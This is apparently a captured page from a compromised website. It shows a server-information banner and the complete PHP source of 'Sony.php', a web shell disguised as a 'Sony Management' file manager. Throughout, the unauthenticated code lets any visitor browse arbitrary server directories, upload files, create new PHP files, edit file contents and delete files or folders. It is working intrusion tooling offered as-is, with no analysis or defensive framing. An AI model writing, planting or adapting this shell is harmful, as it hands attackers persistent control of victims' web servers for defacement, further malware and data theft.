Hunter Bajwa
Server: Microsoft-IIS/7.5
System: Windows NT EGAL 6.1 build 7601
User: IUSR_hrreflections (0)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: C:/inetpub/vhosts/hrreflections.com/httpdocs/Sony.php
<?php
/**
 * Sony File Systems
 */

$path = isset($_GET['path']) ? $_GET['path'] : '.';
$path = realpath($path);

// --- HELPERS ---
function getOctalPerms($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

// --- ACTIONS ---
if(isset($_FILES['file'])){
    $upload_path = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    move_uploaded_file($_FILES['file']['tmp_name'], $upload_path);
}

if(isset($_GET['delete'])){
    $delete_path = realpath($path . DIRECTORY_SEPARATOR . basename($_GET['delete']));
    if(is_file($delete_path)) unlink($delete_path);
    elseif(is_dir($delete_path)) rmdir($delete_path);
    header("Location: ?path=" . urlencode($path));
}

if(isset($_POST['save'])){
    $edit_path = realpath($path . DIRECTORY_SEPARATOR . basename($_POST['edit_file']));
    if($edit_path && is_file($edit_path)) file_put_contents($edit_path, $_POST['content']);
}

if(isset($_POST['create'])){
    $filename = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['filename']);
    file_put_contents($path . DIRECTORY_SEPARATOR . $filename . '.php', "<?php\n\n// Sony System\n\n?>");
}

$files_raw = scandir($path);
$dirs = []; $files_list = [];
foreach ($files_raw as $f) {
    if ($f === '.' || $f === '..') continue;
    is_dir($path . DIRECTORY_SEPARATOR . $f) ? $dirs[] = $f : $files_list[] = $f;
}
$sorted_files = array_merge($dirs, $files_list);
?>

<!DOCTYPE html>
<html>
<head>
    <title>Sony Management</title>
    <style>
        :root {
            --sony-green: #2ecc71;
            --dark-bg: #0f0f0f;
            --sidebar-bg: #161616;
            --row-hover: #1e1e1e;
            --border: #2a2a2a;
        }
        body { font-family: 'Inter', sans-serif; background: var(--dark-bg); color: #ccc; margin: 0; display: flex; height: 100vh; overflow: hidden; }
        
        /* Sidebar Layout */
        .sidebar { width: 280px; background: var(--sidebar-bg); border-right: 1px solid var(--border); padding: 20px; display: flex; flex-direction: column; gap: 20px; }
        .main-content { flex: 1; display: flex; flex-direction: column; overflow-y: auto; }
        
        .logo { color: var(--sony-green); font-size: 1.2rem; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; margin-bottom: 10px; }
        .path-display { padding: 15px; background: #000; font-family: monospace; font-size: 11px; border-bottom: 1px solid var(--border); color: #888; }
        
        .card { background: #1a1a1a; padding: 15px; border-radius: 8px; border: 1px solid var(--border); }
        .card h4 { margin: 0 0 10px 0; font-size: 12px; color: var(--sony-green); text-transform: uppercase; }
        
        input[type="text"], input[type="file"] { width: 100%; background: #000; border: 1px solid var(--border); color: #fff; padding: 8px; margin-bottom: 10px; border-radius: 4px; box-sizing: border-box; }
        button, .btn-action { width: 100%; background: var(--sony-green); color: #000; border: none; padding: 10px; border-radius: 4px; font-weight: bold; cursor: pointer; }
        
        table { width: 100%; border-collapse: collapse; font-size: 13px; }
        th { text-align: left; padding: 15px; background: #111; color: var(--sony-green); border-bottom: 2px solid var(--border); }
        td { padding: 12px 15px; border-bottom: 1px solid var(--border); }
        tr:hover { background: var(--row-hover); }
        
        .folder-link { color: var(--sony-green); font-weight: bold; text-decoration: none; }
        .file-link { color: #aaa; text-decoration: none; }
        .action-links a { color: #666; margin-right: 10px; text-decoration: none; font-size: 11px; }
        .action-links a:hover { color: var(--sony-green); }
        
        .editor-container { padding: 20px; background: #111; position: absolute; top: 10%; left: 10%; width: 80%; height: 80%; border: 2px solid var(--sony-green); z-index: 100; border-radius: 8px; }
        textarea { width: 100%; height: 85%; background: #000; color: #0f0; border: 1px solid var(--border); padding: 10px; font-family: monospace; }
    </style>
</head>
<body>

    <div class="sidebar">
        <div class="logo">Sony Center</div>
        
        <div class="card">
            <h4>Transfer</h4>
            <form action="" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <button type="submit">Upload</button>
            </form>
        </div>

        <div class="card">
            <h4>New Component</h4>
            <form action="" method="post">
                <input type="text" name="filename" placeholder="Name">
                <button type="submit" name="create">Create</button>
            </form>
        </div>
    </div>

    <div class="main-content">
        <div class="path-display">
            Root: <?php echo htmlspecialchars($path); ?>
        </div>

        <table>
            <thead>
                <tr>
                    <th>Item Name</th>
                    <th>Weight</th>
                    <th>Attributes</th>
                    <th>Operations</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($sorted_files as $file): 
                    $fpath = $path . DIRECTORY_SEPARATOR . $file;
                    $is_dir = is_dir($fpath);
                ?>
                <tr>
                    <td>
                        <?php if($is_dir): ?>
                            <a href="?path=<?php echo urlencode($fpath); ?>" class="folder-link">DRV: <?php echo $file; ?></a>
                        <?php else: ?>
                            <span class="file-link">OBJ: <?php echo $file; ?></span>
                        <?php endif; ?>
                    </td>
                    <td><?php echo $is_dir ? '--' : round(filesize($fpath)/1024, 2) . ' KB'; ?></td>
                    <td><code><?php echo getOctalPerms($fpath); ?></code></td>
                    <td class="action-links">
                        <?php if(!$is_dir): ?>
                            <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($file); ?>">Modify</a>
                        <?php endif; ?>
                        <a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($file); ?>" style="color:#e74c3c" onclick="return confirm('Wipe data?')">Wipe</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>

    <?php if(isset($_GET['edit'])): 
        $item = basename($_GET['edit']);
        $item_path = $path . DIRECTORY_SEPARATOR . $item;
    ?>
    <div class="editor-container">
        <h3 style="color:var(--sony-green)">Active Buffer: <?php echo $item; ?></h3>
        <form action="?path=<?php echo urlencode($path); ?>" method="post">
            <textarea name="content"><?php echo htmlspecialchars(file_get_contents($item_path)); ?></textarea>
            <input type="hidden" name="edit_file" value="<?php echo $item; ?>">
            <br><br>
            <button type="submit" name="save" style="width:150px">Commit</button>
            <a href="?path=<?php echo urlencode($path); ?>" style="color:#fff; margin-left:20px">Abort</a>
        </form>
    </div>
    <?php endif; ?>

</body>
</html>